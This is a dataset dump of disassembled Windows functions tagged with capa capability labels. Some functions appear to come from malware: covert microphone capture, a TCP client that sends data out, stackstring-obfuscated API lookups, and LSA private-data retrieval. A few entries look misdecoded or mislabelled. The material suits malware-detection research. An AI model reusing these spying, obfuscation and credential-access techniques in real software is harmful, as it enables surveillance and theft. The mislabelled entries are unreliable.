joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402690
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x30
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], eax
lea eax, [esp + 0x28]
mov dword [esp + 8], eax
lea eax, [esp + 0x24]
mov dword [esp + 4], eax
lea eax, [esp + 0x20]
mov dword [esp], eax
mov dword [esp + 0x2c], 0
call sub.msvcrt.dll___getmainargs
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.msvcrt.dll___set_app_type
mov eax, dword [esp + 0x28]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.00403020
mov dword [esp], eax
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
and esp, 0xfffffff0
call sub.msvcrt.dll___iob_func
mov edx, dword [ebp + 8]
leave
shl edx, 5
add eax, edx
ret
Function at 0x402160
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40805c
call sym._EnterCriticalSection_4
mov ebx, dword [0x408054]
sub esp, 4
test ebx, ebx
je 0x4021ab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x4021a4
test esi, esi
je 0x4021a4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402180
mov dword [esp], 0x40805c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402390
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4023e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4024b8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40241e
cmp eax, 4
jne 0x402440
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40242e
cmp edx, 4
je 0x40242e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402390
Function at 0x4050b6
Capabilities:
Create mailslot
Get disk information
Manipulate console buffer
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x52c
push esi
xor esi, esi
cmp dword [0x4645594], 0x598
jne 0x4050ec
push esi
push esi
call fcn.004052b4
push 0x402e77
push 0x4341b8
call fcn.00405322
add esp, 0x10
call fcn.0040548c
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push edi
mov dword [ebp - 4], esi
cmp dword [0x4645594], 0x57c
jne 0x40516c
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableA]
lea eax, [ebp - 0x12c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_GetCPInfoExA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateMailslotA]
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
xor eax, eax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_WriteConsoleOutputCharacterW]
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcessHeaps]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x52c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetVolumePathNamesForVolumeNameA]
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.DLL_SetLastError]
cmp dword [ebp - 4], 0xa23d8
jne 0x405181
push 0x402e88
call ebx
mov dword [0x4645580], eax
inc dword [ebp - 4]
cmp dword [ebp - 4], 0xa4808
jl 0x4050f7
mov eax, dword [0x4324d4]
add eax, 0xb2d3b
push 0x4645598
mov dword [0x4645594], eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
pop edi
pop ebx
cmp eax, 0x14f7
jne 0x4051c9
push esi
push esi
call fcn.00405274
mov dword [esp + 4], esi
mov dword [esp], esi
call fcn.00402f70
fstp st(0)
call fcn.0040398a
xor eax, eax
pop esi
leave
ret 0x10

Function at 0x40b568
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e458]
jne 0x40b572
repz ret
jmp fcn.00412e1a
Function at 0x40fdac
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004079ab
and dword [ebp - 4], 0
cmp dword [0x433da4], 0
mov ebx, eax
jne 0x40fe5d
push 0x401b88
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40ff0e
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x401b7c
push edi
call esi
test eax, eax
je 0x40ff0e
push eax
call fcn.00407939
mov dword [esp], 0x401b6c
push edi
mov dword [0x433da4], eax
call esi
push eax
call fcn.00407939
mov dword [esp], 0x401b58
push edi
mov dword [0x433da8], eax
call esi
push eax
call fcn.00407939
mov dword [esp], 0x401b3c
push edi
mov dword [0x433dac], eax
call esi
push eax
call fcn.00407939
pop ecx
mov dword [0x433db4], eax
test eax, eax
je 0x40fe5d
push 0x401b24
push edi
call esi
push eax
call fcn.00407939
pop ecx
mov dword [0x433db0], eax
mov eax, dword [0x433db0]
cmp eax, ebx
je 0x40feb5
cmp dword [0x433db4], ebx
je 0x40feb5
push eax
call fcn.004079b4
push dword [0x433db4]
mov esi, eax
call fcn.004079b4
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40feb5
test edi, edi
je 0x40feb5
call esi
test eax, eax
je 0x40feac
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40feac
test byte [ebp - 0xc], 1
jne 0x40feb5
or dword [ebp + 0x10], 0x200000
jmp 0x40feee
mov eax, dword [0x433da8]
cmp eax, ebx
je 0x40feee
push eax
call fcn.004079b4
pop ecx
test eax, eax
je 0x40feee
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40feee
mov eax, dword [0x433dac]
cmp eax, ebx
je 0x40feee
push eax
call fcn.004079b4
pop ecx
test eax, eax
je 0x40feee
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x433da4]
call fcn.004079b4
pop ecx
test eax, eax
je 0x40ff0e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40ff10
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40518c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, ecx
call fcn.00406aea
test al, al
jne 0x471ace
push ecx
push es
mov eax, dword [eax]
cmp eax, dword [ebp + 8]
jne 0x401c15
xor edi, edx
inc eax
jmp fcn.00401c17
Function at 0x40b470
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
or eax, 0xffffffff
push edi
mov word [ebp - 0x10], ax
xor eax, eax
xor edi, edi

Function at 0x4283e1
Capabilities:
Enumerate pe sections

Disassembly:
int3
mov edx, dword [ebp - 0x75]
mov eax, dword [ebp + 8]
push ebx
mov ecx, dword [eax + 0x3c]
add ecx, eax
push esi
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
xor edx, edx
add eax, ecx
push edi
jbe 0x4283db
je 0x42841d
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x428415
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x42841f
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x428405
xor eax, eax
pop edi
pop esi
mov ebx, dword [ebp - 0x3d]
int3

Function at 0x44b5b2
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [ecx + 0xc]
cmp eax, 7
jg 0x44b5de
je 0x44b5da
dec eax
je 0x44b5da
dec eax
je 0x44b5d6
dec eax
je 0x44b5d6
dec eax
jne 0x44b5ea
mov eax, dword [ecx + 8]
loopne 0x44b60d
add al, 0x8d
add al, 0x45
add bh, byte [0x6ac30000]
or bl, ch
add ch, byte [edx + 4]
push 8
jmp 0x44b5dc
push 4
pop eax
ret
sub eax, 9
je 0x44b5f8
dec eax
dec eax
je 0x44b5f3
dec eax
je 0x44b5ed
xor eax, eax
ret
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
ret
mov eax, dword [ecx]
mov eax, dword [eax]
ret
xor eax, eax
inc eax
ret
add byte [ebx + 0x4c08308], cl
mov dword [0x4c3310], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
shr eax, 1
ret
Function at 0x100010f4
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
mov dword [esi], 0x100174f8
nop
nop
nop
cmp byte [esi + 0x44], 0
je 0x10001147
push dword [esi + 0x18]
call dword [sym.imp.WINMM.dll_waveInStop]
push dword [esi + 0x18]
call dword [sym.imp.WINMM.dll_waveInReset]
push 2
lea edi, [esi + 0x30]
pop ebx
push 0x20
push dword [edi]
push dword [esi + 0x18]
call dword [sym.imp.WINMM.dll_waveInUnprepareHeader]
add edi, 4
dec ebx
jne 0x10001120
push dword [esi + 0x18]
call dword [sym.imp.WINMM.dll_waveInClose]
push 0xffffffffffffffff
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp byte [esi + 0x45], 0
je 0x10001178
push dword [esi + 0x40]
call dword [sym.imp.WINMM.dll_waveOutReset]
push 2
lea edi, [esi + 0x30]
pop ebx
push 0x20
push dword [edi]
push dword [esi + 0x40]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
add edi, 4
dec ebx
jne 0x1000115c
push dword [esi + 0x40]
call dword [sym.imp.WINMM.dll_waveOutClose]
push 2
lea edi, [esi + 0x30]
pop ebx
push dword [edi - 0x28]
call fcn.100168e6
push dword [edi]
call fcn.100168e6
push dword [edi - 0x20]
call fcn.100168e6
push dword [edi + 8]
call fcn.100168e6
add esp, 0x10
add edi, 4
dec ebx
jne 0x1000117e
push dword [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0x28]
call edi
push dword [esi + 0x2c]
call edi
pop edi
pop esi
pop ebx
ret

Function at 0x10001262
Capabilities:
Capture microphone audio
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, ecx
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
je 0x100012b2
lea eax, [ebp - 4]
xor esi, esi
push eax
push 4
push edi
push 0x100013d9
push esi
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x20000
push esi
push dword [ebp - 4]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x46]
lea ebx, [edi + 0x18]
push eax
push 0xffff
push ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
test eax, eax
je 0x100012b6
xor al, al
jmp 0x10001317
lea esi, [edi + 0x30]
mov dword [ebp - 8], 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov eax, dword [esi]
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov eax, dword [esi]
and dword [eax + 0x10], 0
mov eax, dword [esi]
and dword [eax + 0x14], 0
push dword [esi]
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
add esi, 4
dec dword [ebp - 8]
jne 0x100012c0
mov eax, dword [edi + 0x1c]
push 0x20
push dword [edi + eax*4 + 0x30]
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
push dword [edi + 0x2c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInStart]
mov byte [edi + 0x44], 1
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001914
Capabilities:
Initialize winsock library

Disassembly:
mov eax, 0x10016be4
call fcn.10016960
sub esp, 0x19c
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x18], esi
lea ecx, [esi + 4]
call fcn.1000164c
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [ebp - 4], ebx
call fcn.1000164c
lea ecx, [esi + 0x54]
mov byte [ebp - 4], 1
call fcn.1000164c
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 2
call fcn.1000164c
push str.CreateEventA
push str.KERNEL32.dll
mov byte [ebp - 4], 3
mov dword [esi], 0x10017510
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x1a8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push ebx
push ebx
push 1
push ebx
call edi
or dword [esi + 0xa8], 0xffffffff
mov dword [esi + 0xac], eax
lea eax, [ebp - 0x14]
push 5
push eax
lea eax, [esi + 0xb0]
push eax
mov byte [esi + 0xb5], bl
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x73
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0xc]
add esp, 0xc
mov eax, esi
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001a9a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov esi, ecx
call fcn.10002151
push dword [esi + 0xac]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ebx, ebx
mov byte [esi + 0xb5], bl
mov eax, dword [0x1001e09c]
cmp eax, ebx
je 0x10001ad5
cmp eax, 4
je 0x10001ad5
cmp eax, 5
jne 0x10001b69
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
je 0x10001b69
cmp dword [0x1001e09c], ebx
je 0x10001afb
push 0x1001e0a0
jmp 0x10001afe
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
cmp edi, ebx
je 0x10001b69
cmp dword [0x1001e09c], ebx
mov word [ebp - 0x20], 2
je 0x10001b21
mov ax, word [0x1001d080]
push eax
jmp 0x10001b24
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x10001b69
cmp dword [0x1001e09c], 5
jne 0x10001b70
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call fcn.10001bff
test al, al
jne 0x10001b70
xor al, al
jmp 0x10001bf8
push 1
lea eax, [ebp - 1]
pop edi
mov byte [ebp - 1], 1
push edi
push eax
push 8
push 0xffff
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001bd6
push str.WSAIoctl
push str.WS2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
lea ecx, [ebp - 1]
push ebx
push ecx
push ebx
push ebx
lea ecx, [ebp - 0x10]
push 0xc
push ecx
push 0x98000004
push dword [esi + 0xa8]
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], 0x2bf20
mov dword [ebp - 8], 0x1388
call eax
push edi
push ebx
push ebx
push esi
push 0x10001eb6
push ebx
push ebx
mov byte [esi + 0xb5], 1
call fcn.1000f21a
mov dword [esi + 0xa4], eax
add esp, 0x1c
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x100022ff
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
cmp eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.WS2_32.dll_send]
mov ebx, ecx
mov dword [ebp + 8], eax
jb 0x1000235f
and dword [ebp - 8], 0
push 0
push dword [ebp + 0x10]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x10002340
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xf
jl 0x10002325
cmp dword [ebp - 8], 0xf
je 0x10002395
add dword [ebp - 4], eax
add esi, dword [ebp + 0x10]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x10]
sub dword [ebp + 8], eax
cmp dword [ebp + 8], eax
jae 0x10002321
cmp dword [ebp + 8], 0
jle 0x1000238d
and dword [ebp + 0x10], 0
push 0
push dword [ebp + 8]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x10002384
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xf
jl 0x10002369
cmp dword [ebp + 0x10], 0xf
je 0x10002395
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x10002398
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x1000242e
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push str.GetLocalTime
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x10]
push ecx
call eax
nop
nop
nop
nop
cmp word [ebp + 8], 0
jne 0x10002482
cmp word [ebp + 0xc], 0
jne 0x10002482
call dword [sym.imp.MSVCRT.dll_rand]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add esi, eax
movzx eax, word [ebp - 4]
add esi, eax
movzx eax, word [ebp - 6]
add eax, esi
jmp 0x100024b5
movzx esi, word [ebp + 8]
push edi
call dword [sym.imp.MSVCRT.dll_rand]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
movzx ecx, word [ebp + 0xc]
add edi, eax
sub ecx, esi
movzx eax, word [ebp - 4]
add edi, eax
xor edx, edx
movzx eax, word [ebp - 6]
add edi, eax
inc ecx
mov eax, edi
pop edi
div ecx
mov eax, edx
add eax, esi
pop esi
leave
ret

Function at 0x100024b8
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 8], 0
jne 0x100024c8
xor eax, eax
leave
ret
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
pop ecx
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x1000251b
and dword [ebp - 0x14], 0
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
push dword [ebp + 8]
stosd dword es:[edi], eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 8]
push 4
push dword [eax]
lea eax, [ebp - 4]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 4]
add esp, 0x18
pop edi
leave
ret
Function at 0x100039d3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10017530
push 0x100169cc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x30], 0x4f
mov byte [ebp - 0x2f], 0x70
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x6e
mov byte [ebp - 0x2c], 0x50
mov byte [ebp - 0x2b], 0x72
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x63
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x73
mov byte [ebp - 0x26], 0x73
xor ebx, ebx
mov byte [ebp - 0x25], bl
lea eax, [ebp - 0x30]
push eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.exe.rerolpxe
call dword [sym.imp.MSVCRT.dll__strrev]
push eax
call fcn.1000f28e
pop ecx
pop ecx
cmp eax, ebx
jne 0x10003a5d
xor eax, eax
jmp 0x10003aa5
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 4], ebx
push eax
push ebx
push 0x400
call esi
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x10003a86
lea ecx, [ebp - 0x38]
push ecx
push 8
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [ebp - 0x24], eax
or dword [ebp - 4], 0xffffffff
call fcn.10003a91
xor ebx, ebx
Function at 0x10003d5d
Capabilities:
Contain obfuscated stackstrings
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, 0x100
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov eax, dword [ecx + 0x14]
test eax, eax
je 0x10003db0
lea ecx, [ebp - 0x38]
push ecx
lea ecx, [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x238]
push ecx
lea ecx, [ebp - 0x34]
push ecx
lea ecx, [ebp - 0x138]
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
je 0x10003db0
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x10003db4
xor eax, eax
leave
ret
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push esi
push eax
mov byte [ebp - 0x10], 0x61
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0x76
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x70
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and byte [ebp - 0x12], 0
mov esi, eax
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x43
push eax
push esi
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x6e
mov byte [ebp - 0x25], 0x76
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x72
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x53
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], 0x54
mov byte [ebp - 0x1d], 0x6f
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x69
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x67
mov byte [ebp - 0x16], 0x53
mov byte [ebp - 0x15], 0x69
mov byte [ebp - 0x14], 0x64
mov byte [ebp - 0x13], 0x41
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10003e6d
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x138]
push ecx
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x2c]
pop esi
leave
ret
Function at 0x10003ec5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x54]
push edi
push eax
lea eax, [ebp - 0x3c]
xor ebx, ebx
mov dword [ebp - 0xc], ecx
push eax
mov byte [ebp - 0x3c], 0x61
mov byte [ebp - 0x3b], 0x64
mov byte [ebp - 0x3a], 0x76
mov byte [ebp - 0x39], 0x61
mov byte [ebp - 0x38], 0x70
mov byte [ebp - 0x37], 0x69
mov byte [ebp - 0x36], 0x33
mov byte [ebp - 0x35], 0x32
mov byte [ebp - 0x34], 0x2e
mov byte [ebp - 0x33], 0x64
mov byte [ebp - 0x32], 0x6c
mov byte [ebp - 0x31], 0x6c
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x54], 0x4c
mov byte [ebp - 0x53], 0x73
mov byte [ebp - 0x52], 0x61
mov byte [ebp - 0x51], 0x52
mov byte [ebp - 0x50], 0x65
mov byte [ebp - 0x4f], 0x74
mov byte [ebp - 0x4e], 0x72
mov byte [ebp - 0x4d], 0x69
mov byte [ebp - 0x4c], 0x65
mov byte [ebp - 0x4b], 0x76
mov byte [ebp - 0x4a], 0x65
mov byte [ebp - 0x49], 0x50
mov byte [ebp - 0x48], 0x72
mov byte [ebp - 0x47], 0x69
mov byte [ebp - 0x46], 0x76
mov byte [ebp - 0x45], 0x61
mov byte [ebp - 0x44], 0x74
mov byte [ebp - 0x43], 0x65
mov byte [ebp - 0x42], 0x44
mov byte [ebp - 0x41], 0x61
mov byte [ebp - 0x40], 0x74
mov byte [ebp - 0x3f], 0x61
mov byte [ebp - 0x3e], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x3c]
push eax
mov byte [ebp - 0x2c], 0x4c
mov byte [ebp - 0x2b], 0x73
mov byte [ebp - 0x2a], 0x61
mov byte [ebp - 0x29], 0x43
mov byte [ebp - 0x28], 0x6c
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x73
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], bl
call esi
push eax
call edi
mov esi, eax
lea eax, [ebp - 0x20]
mov dword [ebp - 4], eax
push 0x18
lea eax, [ebp - 0x6c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x6c]
push 4
push eax
push ebx
call sub.ADVAPI32.dll_LsaOpenPolicy
test eax, eax
je 0x10003fdc
xor eax, eax
jmp 0x10004021
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
call fcn.10003e7a
mov eax, dword [ebp - 4]
mov word [eax], 0x500
mov eax, dword [ebp - 4]
mov word [eax + 2], 0x500
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
call dword [ebp - 0x10]
push dword [ebp - 0x14]
call fcn.100168e6
pop ecx
push dword [ebp - 8]
call esi
neg eax
sbb eax, eax
not eax
and eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4